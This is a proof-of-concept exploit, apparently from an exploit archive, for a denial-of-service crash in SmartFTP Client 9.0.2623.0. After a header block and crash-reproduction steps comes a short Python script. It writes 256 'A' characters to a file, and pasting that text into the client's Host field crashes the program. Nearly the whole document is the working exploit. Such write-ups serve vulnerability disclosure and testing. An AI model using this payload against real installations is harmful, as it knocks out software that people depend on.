SmartFTP Client 9.0.2623.0 - Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: SmartFTP 9.0 Build 2623 - Denial of Service (PoC)
# Date: 06/12/2018
# Exploit Author: Alejandra Sánchez
# Vendor Homepage: https://www.smartftp.com/en-us/
# Software Link: https://www.smartftp.com/get/SFTPMSI64.exe
# Version: 9.0.2623.0
# Tested on: Windows Server 2016 (x64)/ Windows 10 Single Language x64

# Steps to Produce the Crash: 
# 1.- Run python code : python SmartFTPClient.py
# 2.- Open SmartFTPClient.txt and copy content to clipboard
# 3.- Open SmartFTP Client 
# 4.- New connection
# 5.- Paste ClipBoard on Host 
# 6.- Crashed


buffer = "\x41" * 256
f = open ("SmartFTPClient.txt", "w")
f.write(buffer)
f.close()